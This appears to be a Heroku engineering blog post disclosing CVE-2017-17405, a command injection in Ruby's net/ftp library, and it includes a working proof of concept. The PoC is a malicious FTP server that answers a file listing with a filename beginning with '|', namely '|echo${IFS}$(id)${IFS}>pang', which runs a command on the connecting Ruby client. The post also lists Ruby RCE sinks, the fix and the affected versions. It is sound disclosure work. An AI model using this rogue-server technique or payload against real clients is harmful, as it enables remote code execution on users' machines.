A Dive into Ruby CVE-2017-17405: Identifying a Vulnerability in Ruby’s FTP Implementation

At Heroku we consistently monitor vulnerability feeds for new issues. Once a new vulnerability drops, we jump into action to triage and determine how our platform and customers may be affected. Part of this process involves evaluating possible attack scenarios not included in the original vulnerability report. We also spend time looking for "adjacent" and similar bugs in other products. The following Ruby vulnerability was identified during this process.

Vulnerability Triage

A vulnerability, CVE-2017-8817, was identified in libcurl. The FTP function contained an out of bounds read when processing wildcards. As soon as the vulnerability was made public, we went through our various systems to determine how they are affected and to initiate the patching process. Direct libcurl usage inside Heroku´s systems were identified and marked for patching. Once we were confident that all instances were flagged, we started looking into other libraries that might have a similar issue. On a hunch, and because a large number of our customers make use of Ruby, we decided to look at Ruby's FTP implementation. Our approach was twofold, first to determine if Ruby uses libcurl for its FTP functions, and if so, could this vulnerability be triggered in a Ruby application. And second, to determine if Ruby had a custom FTP implementation, whether this also allowed FTP wildcards and, if so, if vulnerabilities also existed in this implementation.

To do our investigation we downloaded the latest source code for Ruby, at the time version 2.4.2, and did a quick grep for any mention of FTP.

$ grep -i ftp -R *

ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new.
ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake.
ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded.
ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.

It turns out Ruby has its own FTP library and this is packaged as net/ftp. We started looking into the lib/net folder, half expecting a custom C implementation of FTP. Turns out there is a solitary ftp.rb file, and it only weighed in at 1496 lines of code.

The Vulnerability

While reading through the code in ftp.rb there were a few of the usual suspects to look out for:

  • command
  • %x/command/
  • IO.popen(command)
  • Kernel.exec
  • Kernel.system
  • Kernel.open("| command") and open("| command")

All of the above functions are common vectors to gain Remote Code Execution (RCE) in Ruby applications, and are thus one of the first things to look for during code analysis. It didn't take long to identify a few locations where the open function was being used to access files for reading and writing.

Looking at the gettextfile function, we could see a call to open using what appeared to be user controlled data:

778     #
779     # Retrieves +remotefile+ in ASCII (text) mode, storing the result in
780     # +localfile+.
781     # If +localfile+ is nil, returns retrieved data.
782     # If a block is supplied, it is passed the retrieved data one
783     # line at a time.
784     #
785     def gettextfile(remotefile, localfile = File.basename(remotefile),
786                     &block) # :yield: line
787       f = nil
788       result = nil
789       if localfile
790         f = open(localfile, "w")
791       elsif !block_given?
792         result = String.new
793       end
794       begin
795         retrlines("RETR #{remotefile}") do |line, newline|
796           l = newline ? line + "\n" : line
797           f&.print(l)
798           block&.(line, newline)
799           result&.concat(l)
800         end
801         return result
802       ensure
803         f&.close
804       end
805     end

The localfile value would trigger command execution if the value was | os command. In general use, most users would likely provide their own localfile value and would not rely on the default of File.basename(remotefile) however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either ls -l style for the LIST command, or filenames for NLIST), there is no guarantee that filename will be a valid filename.

PoC

We wrote a basic Ruby client that we could use to test the vulnerability. This client simply connects to a server, requests a list of files, and then tries to download all the files.

require 'net/ftp'
host = '172.17.0.4'
port = 2121

Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
 ftp.login
 fileList = ftp.nlst('*')
 fileList.each do |file|
       ftp.gettextfile(file)
 end
end

Our server would need to respond to the NLIST command with a filename containing our command to executed. Since no validation or sanitization is done on the supplied filename, it would simply be passed straight to the open function and our command would execute. The only caveat being that our "filename" needs to start with |.

The PoC server code is not the best Ruby code you will ever see, but it was good enough to trigger the vulnerability and provide us with RCE. The server needs to simulate the handshake of an FTP connection. This fools the client into thinking it is connecting to a real FTP server and does the bare minimum to get the client to request a list of files.

require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')

server = TCPServer.new port

loop do
 Thread.start(server.accept) do |client|
   client.puts "220 Attack FTP\r\n"
   r = client.gets
   puts r
   client.puts "331 password please - version check\r\n"
   r = client.gets
   puts r
   client.puts "230 User logged in\r\n"
   r = client.gets
   puts r
   client.puts "230 more data please!\r\n"
   r = client.gets
   puts r
   client.puts "230 more data please!\r\n"
   r = client.gets
   puts r
   wait = true
   psv = Thread.new do
       pserver = TCPServer.new 23461
       Thread.start(pserver.accept) do |pclient|
           while wait do
           end
           pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
           pclient.close
       end
   end

   sleep 1

   client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
   r = client.gets
   puts r

   psv.join

   client.puts "150 Here comes the directory listing.\r\n"
   wait = false

   client.puts "226 Directory send OK.\r\n"
   r = client.gets
   puts r
   client.puts "221 goodbye\r\n"
   client.close
 end
end

The actual exploit happens when we supply the filelist, with pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n", which will result in echo $(id) > pang being run on the connecting client. If our exploitation is successful, we would see a new file created on the client, containing the output of the id command. Although not strictly necessary, we "encoded" the space using ${IFS}, which is a special shell variable called the Internal Field Separator. This is useful in cases where spaces cause issues in your payloads.

rubyCVEscreenshot

Report and Fix

We reported the vulnerability to the Ruby team shortly after discovery. The response was excellent and the bug was fixed within hours.

The Ruby team simply replaced the open function with the File.open function, which is not vulnerable to command injection.

The fix was included in the stable release of Ruby, version 2.4.3. We were also assigned CVE-2017-17405.

The following versions of Ruby are all affected by this vulnerability:

  • Ruby 2.2 series: 2.2.8 and earlier
  • Ruby 2.3 series: 2.3.5 and earlier
  • Ruby 2.4 series: 2.4.2 and earlier
  • Ruby 2.5 series: 2.5.0-preview1
  • prior to trunk revision r61242

Conclusion

System hygiene (ephemerality, immutability, patching, etc) is the foundation of securable systems. Safe and open communication around vulnerabilities being patched raises awareness of similar weaknesses affecting our entire computing ecosystem. You might think of this as how our immunity to classes of vulnerabilities evolve, protecting our infrastructure.

At Heroku we closely monitor security research and vulnerability disclosure. Our belief and investment in the safe discussion around vulnerabilities works to ensure our software stack is kept up to date and our customers are protected.

Patch management forms an integral part of the security life-cycle and cannot be a static process of simply applying patches. Reviewing and understanding the underlying causes of vulnerabilities being patched can help identify further vulnerabilities in the affected software, or even completely different software packages. We closely monitor security research and vulnerability disclosure to ensure our software stack is kept up to date and our customers are protected.

Browse the archives for engineering or all blogs Subscribe to the RSS feed for engineering or all blogs.